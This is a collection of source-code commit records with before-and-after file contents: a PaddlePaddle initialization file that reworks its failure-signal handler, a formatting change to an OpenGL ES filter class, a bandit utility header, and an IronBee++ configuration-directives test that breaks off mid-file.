{"text":"<commit_before>\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n#include <string.h>  \/\/ for strdup\n#include <algorithm>\n#include <fstream>\n#include <iostream>\n#include <memory>\n#include <set>\n#include <stdexcept>\n#include <string>\n\n#include \"paddle\/fluid\/framework\/operator.h\"\n#include \"paddle\/fluid\/platform\/cpu_helper.h\"\n#include \"paddle\/fluid\/platform\/cpu_info.h\"\n#include \"paddle\/fluid\/string\/split.h\"\n#ifdef PADDLE_WITH_CUDA\n#include \"paddle\/fluid\/platform\/cuda_device_guard.h\"\n#include \"paddle\/fluid\/platform\/dynload\/cupti.h\"\n#endif\n#include \"paddle\/fluid\/platform\/device_context.h\"\n#include \"paddle\/fluid\/platform\/init.h\"\n#include \"paddle\/fluid\/platform\/place.h\"\n#include \"paddle\/fluid\/string\/piece.h\"\n\nDECLARE_int32(paddle_num_threads);\nDEFINE_int32(multiple_of_cupti_buffer_size, 1,\n             \"Multiple of the CUPTI device buffer size. If the timestamps have \"\n             \"been dropped when you are profiling, try increasing this value.\");\n\nnamespace paddle {\nnamespace platform {\n\nvoid ParseCommandLineFlags(int argc, char **argv, bool remove) {\n  google::ParseCommandLineFlags(&argc, &argv, remove);\n}\n\n}  \/\/ namespace platform\n}  \/\/ namespace paddle\n\nnamespace paddle {\nnamespace framework {\n\n#ifdef _WIN32\n#define strdup _strdup\n#endif\n\nstd::once_flag gflags_init_flag;\nstd::once_flag glog_init_flag;\nstd::once_flag p2p_init_flag;\nstd::once_flag glog_warning_once_flag;\n\nbool InitGflags(std::vector<std::string> args) {\n  bool successed = false;\n  std::call_once(gflags_init_flag, [&]() {\n    FLAGS_logtostderr = true;\n    \/\/ NOTE(zhiqiu): dummy is needed, since the function\n    \/\/ ParseNewCommandLineFlags in gflags.cc starts processing\n    \/\/ commandline strings from idx 1.\n    \/\/ The reason is, it assumes that the first one (idx 0) is\n    \/\/ the filename of executable file.\n    args.insert(args.begin(), \"dummy\");\n    std::vector<char *> argv;\n    std::string line;\n    int argc = args.size();\n    for (auto &arg : args) {\n      argv.push_back(const_cast<char *>(arg.data()));\n      line += arg;\n      line += ' ';\n    }\n    VLOG(1) << \"Before Parse: argc is \" << argc\n            << \", Init commandline: \" << line;\n\n    char **arr = argv.data();\n    google::ParseCommandLineFlags(&argc, &arr, true);\n    successed = true;\n\n    VLOG(1) << \"After Parse: argc is \" << argc;\n  });\n  return successed;\n}\n\nvoid InitP2P(std::vector<int> devices) {\n#ifdef PADDLE_WITH_CUDA\n  std::call_once(p2p_init_flag, [&]() {\n    int count = devices.size();\n    for (int i = 0; i < count; ++i) {\n      for (int j = 0; j < count; ++j) {\n        if (devices[i] == devices[j]) continue;\n        int can_acess = -1;\n        PADDLE_ENFORCE_CUDA_SUCCESS(\n            cudaDeviceCanAccessPeer(&can_acess, devices[i], devices[j]));\n        if (can_acess != 1) {\n          LOG(WARNING) << \"Cannot enable P2P access from \" << devices[i]\n                       << \" to \" << devices[j];\n        } else {\n          platform::CUDADeviceGuard guard(devices[i]);\n          cudaDeviceEnablePeerAccess(devices[j], 0);\n        }\n      }\n    }\n  });\n#endif\n}\n\nvoid InitCupti() {\n#ifdef PADDLE_WITH_CUPTI\n  if (FLAGS_multiple_of_cupti_buffer_size == 1) return;\n  size_t attrValue = 0, attrValueSize = sizeof(size_t);\n#define MULTIPLY_ATTR_VALUE(attr)                                            \\\n  {                                                                          \\\n    PADDLE_ENFORCE_EQ(                                                       \\\n        !platform::dynload::cuptiActivityGetAttribute(attr, &attrValueSize,  \\\n                                                      &attrValue),           \\\n        true, platform::errors::Unavailable(\"Get cupti attribute failed.\")); \\\n    attrValue *= FLAGS_multiple_of_cupti_buffer_size;                        \\\n    LOG(WARNING) << \"Set \" #attr \" \" << attrValue << \" byte\";                \\\n    PADDLE_ENFORCE_EQ(                                                       \\\n        !platform::dynload::cuptiActivitySetAttribute(attr, &attrValueSize,  \\\n                                                      &attrValue),           \\\n        true, platform::errors::Unavailable(\"Set cupti attribute failed.\")); \\\n  }\n  MULTIPLY_ATTR_VALUE(CUPTI_ACTIVITY_ATTR_DEVICE_BUFFER_SIZE);\n  MULTIPLY_ATTR_VALUE(CUPTI_ACTIVITY_ATTR_DEVICE_BUFFER_SIZE_CDP);\n#if CUDA_VERSION >= 9000\n  MULTIPLY_ATTR_VALUE(CUPTI_ACTIVITY_ATTR_PROFILING_SEMAPHORE_POOL_SIZE);\n#endif\n#undef MULTIPLY_ATTR_VALUE\n#endif\n}\n\nvoid InitDevices(bool init_p2p) {\n  \/\/ CUPTI attribute should be set before any CUDA context is created (see CUPTI\n  \/\/ documentation about CUpti_ActivityAttribute).\n  InitCupti();\n  \/*Init all available devices by default *\/\n  std::vector<int> devices;\n#ifdef PADDLE_WITH_CUDA\n  try {\n    \/\/ use user specified GPUs in single-node multi-process mode.\n    devices = platform::GetSelectedDevices();\n  } catch (const std::exception &exp) {\n    LOG(WARNING) << \"Compiled with WITH_GPU, but no GPU found in runtime.\";\n  }\n#endif\n  InitDevices(init_p2p, devices);\n}\n\nvoid InitDevices(bool init_p2p, const std::vector<int> devices) {\n  std::vector<platform::Place> places;\n\n  for (size_t i = 0; i < devices.size(); ++i) {\n    \/\/ In multi process multi gpu mode, we may have gpuid = 7\n    \/\/ but count = 1.\n    if (devices[i] < 0) {\n      LOG(WARNING) << \"Invalid devices id.\";\n      continue;\n    }\n    places.emplace_back(platform::CUDAPlace(devices[i]));\n  }\n  if (init_p2p) {\n    InitP2P(devices);\n  }\n  places.emplace_back(platform::CPUPlace());\n#ifdef PADDLE_WITH_CUDA\n  places.emplace_back(platform::CUDAPinnedPlace());\n#endif\n  platform::DeviceContextPool::Init(places);\n\n#ifndef PADDLE_WITH_MKLDNN\n  platform::SetNumThreads(FLAGS_paddle_num_threads);\n#endif\n\n#if !defined(_WIN32) && !defined(__APPLE__) && !defined(__OSX__)\n  if (platform::MayIUse(platform::avx)) {\n#ifndef __AVX__\n    LOG(WARNING) << \"AVX is available, Please re-compile on local machine\";\n#endif\n  }\n\n\/\/ Throw some informations when CPU instructions mismatch.\n#define AVX_GUIDE(compiletime, runtime)                                  \\\n  PADDLE_THROW(platform::errors::Unavailable(                            \\\n      \"This version is compiled on higher instruction(\" #compiletime     \\\n      \") system, you may encounter illegal instruction error running on\" \\\n      \" your local CPU machine. Please reinstall the \" #runtime          \\\n      \" version or compile from source code.\"))\n\n#ifdef __AVX512F__\n  if (!platform::MayIUse(platform::avx512f)) {\n    if (platform::MayIUse(platform::avx2)) {\n      AVX_GUIDE(AVX512, AVX2);\n    } else if (platform::MayIUse(platform::avx)) {\n      AVX_GUIDE(AVX512, AVX);\n    } else {\n      AVX_GUIDE(AVX512, NonAVX);\n    }\n  }\n#endif\n\n#ifdef __AVX2__\n  if (!platform::MayIUse(platform::avx2)) {\n    if (platform::MayIUse(platform::avx)) {\n      AVX_GUIDE(AVX2, AVX);\n    } else {\n      AVX_GUIDE(AVX2, NonAVX);\n    }\n  }\n#endif\n\n#ifdef __AVX__\n  if (!platform::MayIUse(platform::avx)) {\n    AVX_GUIDE(AVX, NonAVX);\n  }\n#endif\n#undef AVX_GUIDE\n\n#endif\n}\n\n#ifndef _WIN32\nvoid SignalHandle(const char *data, int size) {\n  auto file_path = string::Sprintf(\"\/tmp\/paddle.%d.dump_info\", ::getpid());\n  try {\n    \/\/ The signal is coming line by line but we print general guide just once\n    std::call_once(glog_warning_once_flag, [&]() {\n      LOG(WARNING) << \"Warning: PaddlePaddle catches a failure signal, it may \"\n                      \"not work properly\\n\";\n      LOG(WARNING) << \"You could check whether you killed PaddlePaddle \"\n                      \"thread\/process accidentally or report the case to \"\n                      \"PaddlePaddle\\n\";\n      LOG(WARNING) << \"The detail failure signal is:\\n\\n\";\n    });\n\n    LOG(WARNING) << std::string(data, size);\n    std::ofstream dump_info;\n    dump_info.open(file_path, std::ios::app);\n    dump_info << std::string(data, size);\n    dump_info.close();\n  } catch (...) {\n  }\n}\n#endif\n\nvoid InitGLOG(const std::string &prog_name) {\n  std::call_once(glog_init_flag, [&]() {\n    \/\/ glog will not hold the ARGV[0] inside.\n    \/\/ Use strdup to alloc a new string.\n    google::InitGoogleLogging(strdup(prog_name.c_str()));\n#ifndef _WIN32\n    google::InstallFailureSignalHandler();\n    google::InstallFailureWriter(&SignalHandle);\n#endif\n  });\n}\n\n}  \/\/ namespace framework\n}  \/\/ namespace paddle\n<commit_msg>Unified paddle error format when catch system signal (#25765)<commit_after>\/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n#include <string.h>  \/\/ for strdup\n#include <algorithm>\n#include <fstream>\n#include <iostream>\n#include <memory>\n#include <set>\n#include <stdexcept>\n#include <string>\n\n#include \"paddle\/fluid\/framework\/operator.h\"\n#include \"paddle\/fluid\/platform\/cpu_helper.h\"\n#include \"paddle\/fluid\/platform\/cpu_info.h\"\n#include \"paddle\/fluid\/string\/split.h\"\n#ifdef PADDLE_WITH_CUDA\n#include \"paddle\/fluid\/platform\/cuda_device_guard.h\"\n#include \"paddle\/fluid\/platform\/dynload\/cupti.h\"\n#endif\n#include \"paddle\/fluid\/platform\/device_context.h\"\n#include \"paddle\/fluid\/platform\/init.h\"\n#include \"paddle\/fluid\/platform\/place.h\"\n#include \"paddle\/fluid\/string\/piece.h\"\n\nDECLARE_int32(paddle_num_threads);\nDEFINE_int32(multiple_of_cupti_buffer_size, 1,\n             \"Multiple of the CUPTI device buffer size. If the timestamps have \"\n             \"been dropped when you are profiling, try increasing this value.\");\n\nnamespace paddle {\nnamespace platform {\n\nvoid ParseCommandLineFlags(int argc, char **argv, bool remove) {\n  google::ParseCommandLineFlags(&argc, &argv, remove);\n}\n\n}  \/\/ namespace platform\n}  \/\/ namespace paddle\n\nnamespace paddle {\nnamespace framework {\n\n#ifdef _WIN32\n#define strdup _strdup\n#endif\n\nstd::once_flag gflags_init_flag;\nstd::once_flag glog_init_flag;\nstd::once_flag p2p_init_flag;\nstd::once_flag glog_warning_once_flag;\n\nbool InitGflags(std::vector<std::string> args) {\n  bool successed = false;\n  std::call_once(gflags_init_flag, [&]() {\n    FLAGS_logtostderr = true;\n    \/\/ NOTE(zhiqiu): dummy is needed, since the function\n    \/\/ ParseNewCommandLineFlags in gflags.cc starts processing\n    \/\/ commandline strings from idx 1.\n    \/\/ The reason is, it assumes that the first one (idx 0) is\n    \/\/ the filename of executable file.\n    args.insert(args.begin(), \"dummy\");\n    std::vector<char *> argv;\n    std::string line;\n    int argc = args.size();\n    for (auto &arg : args) {\n      argv.push_back(const_cast<char *>(arg.data()));\n      line += arg;\n      line += ' ';\n    }\n    VLOG(1) << \"Before Parse: argc is \" << argc\n            << \", Init commandline: \" << line;\n\n    char **arr = argv.data();\n    google::ParseCommandLineFlags(&argc, &arr, true);\n    successed = true;\n\n    VLOG(1) << \"After Parse: argc is \" << argc;\n  });\n  return successed;\n}\n\nvoid InitP2P(std::vector<int> devices) {\n#ifdef PADDLE_WITH_CUDA\n  std::call_once(p2p_init_flag, [&]() {\n    int count = devices.size();\n    for (int i = 0; i < count; ++i) {\n      for (int j = 0; j < count; ++j) {\n        if (devices[i] == devices[j]) continue;\n        int can_acess = -1;\n        PADDLE_ENFORCE_CUDA_SUCCESS(\n            cudaDeviceCanAccessPeer(&can_acess, devices[i], devices[j]));\n        if (can_acess != 1) {\n          LOG(WARNING) << \"Cannot enable P2P access from \" << devices[i]\n                       << \" to \" << devices[j];\n        } else {\n          platform::CUDADeviceGuard guard(devices[i]);\n          cudaDeviceEnablePeerAccess(devices[j], 0);\n        }\n      }\n    }\n  });\n#endif\n}\n\nvoid InitCupti() {\n#ifdef PADDLE_WITH_CUPTI\n  if (FLAGS_multiple_of_cupti_buffer_size == 1) return;\n  size_t attrValue = 0, attrValueSize = sizeof(size_t);\n#define MULTIPLY_ATTR_VALUE(attr)                                            \\\n  {                                                                          \\\n    PADDLE_ENFORCE_EQ(                                                       \\\n        !platform::dynload::cuptiActivityGetAttribute(attr, &attrValueSize,  \\\n                                                      &attrValue),           \\\n        true, platform::errors::Unavailable(\"Get cupti attribute failed.\")); \\\n    attrValue *= FLAGS_multiple_of_cupti_buffer_size;                        \\\n    LOG(WARNING) << \"Set \" #attr \" \" << attrValue << \" byte\";                \\\n    PADDLE_ENFORCE_EQ(                                                       \\\n        !platform::dynload::cuptiActivitySetAttribute(attr, &attrValueSize,  \\\n                                                      &attrValue),           \\\n        true, platform::errors::Unavailable(\"Set cupti attribute failed.\")); \\\n  }\n  MULTIPLY_ATTR_VALUE(CUPTI_ACTIVITY_ATTR_DEVICE_BUFFER_SIZE);\n  MULTIPLY_ATTR_VALUE(CUPTI_ACTIVITY_ATTR_DEVICE_BUFFER_SIZE_CDP);\n#if CUDA_VERSION >= 9000\n  MULTIPLY_ATTR_VALUE(CUPTI_ACTIVITY_ATTR_PROFILING_SEMAPHORE_POOL_SIZE);\n#endif\n#undef MULTIPLY_ATTR_VALUE\n#endif\n}\n\nvoid InitDevices(bool init_p2p) {\n  \/\/ CUPTI attribute should be set before any CUDA context is created (see CUPTI\n  \/\/ documentation about CUpti_ActivityAttribute).\n  InitCupti();\n  \/*Init all available devices by default *\/\n  std::vector<int> devices;\n#ifdef PADDLE_WITH_CUDA\n  try {\n    \/\/ use user specified GPUs in single-node multi-process mode.\n    devices = platform::GetSelectedDevices();\n  } catch (const std::exception &exp) {\n    LOG(WARNING) << \"Compiled with WITH_GPU, but no GPU found in runtime.\";\n  }\n#endif\n  InitDevices(init_p2p, devices);\n}\n\nvoid InitDevices(bool init_p2p, const std::vector<int> devices) {\n  std::vector<platform::Place> places;\n\n  for (size_t i = 0; i < devices.size(); ++i) {\n    \/\/ In multi process multi gpu mode, we may have gpuid = 7\n    \/\/ but count = 1.\n    if (devices[i] < 0) {\n      LOG(WARNING) << \"Invalid devices id.\";\n      continue;\n    }\n    places.emplace_back(platform::CUDAPlace(devices[i]));\n  }\n  if (init_p2p) {\n    InitP2P(devices);\n  }\n  places.emplace_back(platform::CPUPlace());\n#ifdef PADDLE_WITH_CUDA\n  places.emplace_back(platform::CUDAPinnedPlace());\n#endif\n  platform::DeviceContextPool::Init(places);\n\n#ifndef PADDLE_WITH_MKLDNN\n  platform::SetNumThreads(FLAGS_paddle_num_threads);\n#endif\n\n#if !defined(_WIN32) && !defined(__APPLE__) && !defined(__OSX__)\n  if (platform::MayIUse(platform::avx)) {\n#ifndef __AVX__\n    LOG(WARNING) << \"AVX is available, Please re-compile on local machine\";\n#endif\n  }\n\n\/\/ Throw some informations when CPU instructions mismatch.\n#define AVX_GUIDE(compiletime, runtime)                                  \\\n  PADDLE_THROW(platform::errors::Unavailable(                            \\\n      \"This version is compiled on higher instruction(\" #compiletime     \\\n      \") system, you may encounter illegal instruction error running on\" \\\n      \" your local CPU machine. Please reinstall the \" #runtime          \\\n      \" version or compile from source code.\"))\n\n#ifdef __AVX512F__\n  if (!platform::MayIUse(platform::avx512f)) {\n    if (platform::MayIUse(platform::avx2)) {\n      AVX_GUIDE(AVX512, AVX2);\n    } else if (platform::MayIUse(platform::avx)) {\n      AVX_GUIDE(AVX512, AVX);\n    } else {\n      AVX_GUIDE(AVX512, NonAVX);\n    }\n  }\n#endif\n\n#ifdef __AVX2__\n  if (!platform::MayIUse(platform::avx2)) {\n    if (platform::MayIUse(platform::avx)) {\n      AVX_GUIDE(AVX2, AVX);\n    } else {\n      AVX_GUIDE(AVX2, NonAVX);\n    }\n  }\n#endif\n\n#ifdef __AVX__\n  if (!platform::MayIUse(platform::avx)) {\n    AVX_GUIDE(AVX, NonAVX);\n  }\n#endif\n#undef AVX_GUIDE\n\n#endif\n}\n\n#ifndef _WIN32\n\/\/ Description Quoted from\n\/\/ https:\/\/pubs.opengroup.org\/onlinepubs\/9699919799\/basedefs\/signal.h.html\nconst struct {\n  const char *name;\n  const char *error_string;\n} SignalErrorStrings[] = {\n    {\"SIGSEGV\", \"Segmentation fault\"},\n    {\"SIGILL\", \"Illegal instruction\"},\n    {\"SIGFPE\", \"Erroneous arithmetic operation\"},\n    {\"SIGABRT\", \"Process abort signal\"},\n    {\"SIGBUS\", \"Access to an undefined portion of a memory object\"},\n    {\"SIGTERM\", \"Termination signal\"},\n};\n\nbool StartsWith(const char *str, const char *prefix) {\n  size_t len_prefix = strlen(prefix);\n  size_t len_str = strlen(str);\n  return len_str < len_prefix ? false : memcmp(prefix, str, len_prefix) == 0;\n}\n\nconst char *ParseSignalErrorString(const std::string &str) {\n  for (size_t i = 0;\n       i < (sizeof(SignalErrorStrings) \/ sizeof(*(SignalErrorStrings))); ++i) {\n    if (std::string::npos != str.find(SignalErrorStrings[i].name)) {\n      return SignalErrorStrings[i].error_string;\n    }\n  }\n  return \"Unknown signal\";\n}\n\n\/\/ Handle SIGSEGV, SIGILL, SIGFPE, SIGABRT, SIGBUS, and SIGTERM.\nstd::ostringstream signal_msg_dumper;\nvoid SignalHandle(const char *data, int size) {\n  try {\n    \/\/ NOTE1: The glog FailureSignalHandler dumped messages\n    \/\/   are deal with line by line\n    \/\/ NOTE2: we only deal with the time info ane signal info,\n    \/\/   the stack trace will generated by paddle self\n    if (StartsWith(data, \"*** Aborted at\")) {\n      signal_msg_dumper << \"  [TimeInfo: \" << std::string(data, size - 1)\n                        << \"]\\n\";\n    } else if (StartsWith(data, \"***\")) {\n      std::string signal_info(data, size - 1);\n      std::string useless_substr(\"; stack trace:\");\n      size_t start_pos = signal_info.rfind(useless_substr);\n      signal_info.replace(start_pos, useless_substr.length(), \"\");\n      signal_msg_dumper << \"  [SignalInfo: \" << signal_info << \"]\\n\";\n      \/\/ NOTE3: Here does not throw an exception,\n      \/\/ otherwise it will casue \"terminate called recursively\"\n      auto exp = platform::EnforceNotMet(\n          platform::errors::Fatal(\n              \"A serious error (%s) is detected by the operating system.\",\n              ParseSignalErrorString(signal_info)),\n          __FILE__, __LINE__);\n      std::cout << exp.what() << signal_msg_dumper.str() << std::endl;\n    }\n  } catch (...) {\n    \/\/ Since the program has already triggered a system error,\n    \/\/ no further processing is required here, glog FailureSignalHandler\n    \/\/ will Kill program by the default signal handler\n  }\n}\n#endif\n\nvoid InitGLOG(const std::string &prog_name) {\n  std::call_once(glog_init_flag, [&]() {\n    \/\/ glog will not hold the ARGV[0] inside.\n    \/\/ Use strdup to alloc a new string.\n    google::InitGoogleLogging(strdup(prog_name.c_str()));\n#ifndef _WIN32\n    google::InstallFailureSignalHandler();\n    google::InstallFailureWriter(&SignalHandle);\n#endif\n  });\n}\n\n}  \/\/ namespace framework\n}  \/\/ namespace paddle\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ ogles_gpgpu project - GPGPU for mobile devices and embedded systems using OpenGL ES 2.0\n\/\/\n\/\/ Author: Markus Konrad <post@mkonrad.net>, Winter 2014\/2015\n\/\/         David Hirvonen\n\/\/ http:\/\/www.mkonrad.net\n\/\/\n\/\/ See LICENSE file in project repository root for the license.\n\/\/\n\n#include \"..\/common_includes.h\"\n#include \"filter3x3.h\"\n\nusing namespace std;\nusing namespace ogles_gpgpu;\n\nFilter3x3Proc::Filter3x3Proc() {\n\n}\n\nvoid Filter3x3Proc::filterShaderSetup(const char *vShaderSrc, const char *fShaderSrc, GLenum target)\n{\n    \/\/ create shader object\n    ProcBase::createShader(vShaderSrc, fShaderSrc, target);\n    \n    \/\/ get shader params\n    shParamAPos = shader->getParam(ATTR, \"position\");\n    shParamATexCoord = shader->getParam(ATTR, \"inputTextureCoordinate\");    \n    texelWidthUniform = shader->getParam(UNIF, \"texelWidth\");\n    texelHeightUniform = shader->getParam(UNIF, \"texelHeight\");\n    \n    Tools::checkGLErr(getProcName(), \"filterShaderSetup\");\n}\n\nvoid Filter3x3Proc::getUniforms() {\n    \n}\n\nvoid Filter3x3Proc::setUniforms() {\n    \/\/ Set texel width\/height uniforms:\n    glUniform1f(texelWidthUniform, (1.0f\/ float(outFrameW)));\n    glUniform1f(texelHeightUniform, (1.0f\/ float(outFrameH)));\n}\n\n<commit_msg>formatting<commit_after>\/\/\n\/\/ ogles_gpgpu project - GPGPU for mobile devices and embedded systems using OpenGL ES 2.0\n\/\/\n\/\/ Author: Markus Konrad <post@mkonrad.net>, Winter 2014\/2015\n\/\/         David Hirvonen\n\/\/ http:\/\/www.mkonrad.net\n\/\/\n\/\/ See LICENSE file in project repository root for the license.\n\/\/\n\n#include \"..\/common_includes.h\"\n#include \"filter3x3.h\"\n\nusing namespace std;\nusing namespace ogles_gpgpu;\n\nFilter3x3Proc::Filter3x3Proc()\n{\n\n}\n\nvoid Filter3x3Proc::filterShaderSetup(const char *vShaderSrc, const char *fShaderSrc, GLenum target)\n{\n    \/\/ create shader object\n    ProcBase::createShader(vShaderSrc, fShaderSrc, target);\n    \n    \/\/ get shader params\n    shParamAPos = shader->getParam(ATTR, \"position\");\n    shParamATexCoord = shader->getParam(ATTR, \"inputTextureCoordinate\");    \n    texelWidthUniform = shader->getParam(UNIF, \"texelWidth\");\n    texelHeightUniform = shader->getParam(UNIF, \"texelHeight\");\n    \n    Tools::checkGLErr(getProcName(), \"filterShaderSetup\");\n}\n\nvoid Filter3x3Proc::getUniforms()\n{\n    \n}\n\nvoid Filter3x3Proc::setUniforms()\n{\n    \/\/ Set texel width\/height uniforms:\n    glUniform1f(texelWidthUniform, (1.0f\/ float(outFrameW)));\n    glUniform1f(texelHeightUniform, (1.0f\/ float(outFrameH)));\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <vector>\n#include <string>\n#include <set>\n#include <memory>\n#include <fstream>\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n#include <random>\n#include <cmath>\n#include <ctime>\n\nnamespace bandit{\n\ntypedef unsigned int uint;\n\nextern const double pi;\nextern const double e;\n\n\/\/RNG engine\nextern std::mt19937 randomEngine;\n\ntemplate<class T>\nint vectorMaxIndex(const std::vector<T> &elems){\n  int m=0;\n  T mv=elems[0];\n  for(unsigned int i=0;i<elems.size();++i){\n    if(elems[i]>mv){\n      mv=elems[i];\n      m=i;\n    }\n  }\n  return m;\n}\n\ntemplate<class T>\nT vectorMax(std::vector<T> &elems){\n  T mv=elems[0];\n  for(unsigned int i=0;i<elems.size();++i){\n    if(elems[i]>mv){\n      mv=elems[i];\n    }\n  }\n  return mv;\n}\n\ntemplate<class T>\nT vectorSum(const std::vector<T> &elems){\n  T s=0;\n  for(uint i=0;i<elems.size();++i){\n    s+=elems[i];\n  }\n  return s;\n}\n\nstd::string itos(int number);\nstd::string dtos(double number);\n\n} \/\/namespace\n<commit_msg>Update util.hpp<commit_after>#pragma once\n\n#include <vector>\n#include <string>\n#include <set>\n#include <memory>\n#include <fstream>\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n#include <random>\n#include <cmath>\n#include <ctime>\n\nnamespace bandit{\n\ntypedef unsigned int uint;\n\nextern const double pi;\nextern const double e;\n\n\/\/RNG engine\nextern std::mt19937 randomEngine;\n\ntemplate<class T>\nint vectorMaxIndex(const std::vector<T> &elems){\n  int m=0;\n  T mv=elems[0];\n  for(uint i=0;i<elems.size();++i){\n    if(elems[i]>mv){\n      mv=elems[i];\n      m=i;\n    }\n  }\n  return m;\n}\n\ntemplate<class T>\nT vectorMax(std::vector<T> &elems){\n  T mv=elems[0];\n  for(uint i=0;i<elems.size();++i){\n    if(elems[i]>mv){\n      mv=elems[i];\n    }\n  }\n  return mv;\n}\n\ntemplate<class T>\nT vectorSum(const std::vector<T> &elems){\n  T s=0;\n  for(uint i=0;i<elems.size();++i){\n    s+=elems[i];\n  }\n  return s;\n}\n\nstd::string itos(int number);\nstd::string dtos(double number);\n\n} \/\/namespace\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * Licensed to Qualys, Inc. (QUALYS) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * QUALYS licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ****************************************************************************\/\n\n\/**\n * @file\n * @brief IronBee++ Internals &mdash; Configuration Directives Tests\n * @internal\n *\n * @author Christopher Alfeld <calfeld@qualys.com>\n **\/\n\n#include <ironbeepp\/configuration_directives.hpp>\n#include <ironbeepp\/context.hpp>\n#include <ironbeepp\/site.hpp>\n#include \"fixture.hpp\"\n\n#include \"gtest\/gtest.h\"\n\n#include <ironbee\/engine.h>\n#include <ironbee\/config.h>\n\nusing namespace std;\nusing namespace IronBee;\n\nclass TestConfigurationDirectives :\n    public ::testing::Test, public IBPPTestFixture\n{\n};\n\nTEST_F(TestConfigurationDirectives, ConfigurationParser)\n{\n    ib_cfgparser_t parser;\n\n    ConfigurationParser P(&parser);\n\n    ASSERT_TRUE(P);\n    ASSERT_EQ(&parser, P.ib());\n\n    parser.ib = m_ib_engine;\n    parser.mp = ib_engine_pool_main_get(m_ib_engine);\n\n    ib_context_t ctx;\n    parser.cur_ctx = &ctx;\n    ib_site_t site;\n    parser.cur_site = &site;\n    ib_loc_t loc;\n    parser.cur_loc = &loc;\n    parser.cur_blkname = \"foobar\";\n\n    EXPECT_EQ(parser.ib, P.engine().ib());\n    EXPECT_EQ(parser.mp, P.memory_pool().ib());\n    EXPECT_EQ(parser.cur_ctx, P.current_context().ib());\n    EXPECT_EQ(parser.cur_site, P.current_site().ib());\n    EXPECT_EQ(parser.cur_loc, P.current_location().ib());\n    EXPECT_EQ(parser.cur_blkname, P.current_block_name());\n}\n<commit_msg>IrIronBee++\/ConfigurationDirectives: Complete tests.<commit_after>\/*****************************************************************************\n * Licensed to Qualys, Inc. (QUALYS) under one or more\n * contributor license agreements.  See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * QUALYS licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n ****************************************************************************\/\n\n\/**\n * @file\n * @brief IronBee++ Internals &mdash; Configuration Directives Tests\n * @internal\n *\n * @author Christopher Alfeld <calfeld@qualys.com>\n **\/\n\n#include <ironbeepp\/configuration_directives.hpp>\n#include <ironbeepp\/context.hpp>\n#include <ironbeepp\/site.hpp>\n#include \"fixture.hpp\"\n\n#include \"gtest\/gtest.h\"\n\n#include <ironbee\/engine.h>\n#include <ironbee\/config.h>\n\n#include <boost\/foreach.hpp>\n\nusing namespace std;\nusing namespace IronBee;\n\nclass TestConfigurationDirectives :\n    public ::testing::Test, public IBPPTestFixture\n{\n};\n\nTEST_F(TestConfigurationDirectives, ConfigurationParser)\n{\n    ib_cfgparser_t parser;\n\n    ConfigurationParser P(&parser);\n\n    ASSERT_TRUE(P);\n    ASSERT_EQ(&parser, P.ib());\n\n    parser.ib = m_ib_engine;\n    parser.mp = ib_engine_pool_main_get(m_ib_engine);\n\n    ib_context_t ctx;\n    parser.cur_ctx = &ctx;\n    ib_site_t site;\n    parser.cur_site = &site;\n    ib_loc_t loc;\n    parser.cur_loc = &loc;\n    parser.cur_blkname = \"foobar\";\n\n    EXPECT_EQ(parser.ib, P.engine().ib());\n    EXPECT_EQ(parser.mp, P.memory_pool().ib());\n    EXPECT_EQ(parser.cur_ctx, P.current_context().ib());\n    EXPECT_EQ(parser.cur_site, P.current_site().ib());\n    EXPECT_EQ(parser.cur_loc, P.current_location().ib());\n    EXPECT_EQ(parser.cur_blkname, P.current_block_name());\n\n    \/\/ Parse routines tested below.\n}\n\nstruct Info\n{\n    Info() : which(0) {}\n\n    int                 which;\n    ConfigurationParser parser;\n    string              name;\n    string              param1;\n    string              param2;\n    bool                on;\n    vector<string>      nparam;\n    uint32_t            mask;\n    uint32_t            value;\n};\n\nclass Handler\n{\npublic:\n    explicit Handler(\n        Info& out_info\n    ) :\n        m_out_info(out_info)\n    {\n        \/\/ nop\n    }\n\n    void operator()(\n        ConfigurationParser parser,\n        const char*         name,\n        const char*         param1\n    )\n    {\n        m_out_info.which  = 1;\n        m_out_info.parser = parser;\n        m_out_info.name   = name;\n        m_out_info.param1 = param1;\n    }\n\n    void operator()(\n        ConfigurationParser parser,\n        const char*         name,\n        const char*         param1,\n        const char*         param2\n    )\n    {\n        m_out_info.which  = 2;\n        m_out_info.parser = parser;\n        m_out_info.name   = name;\n        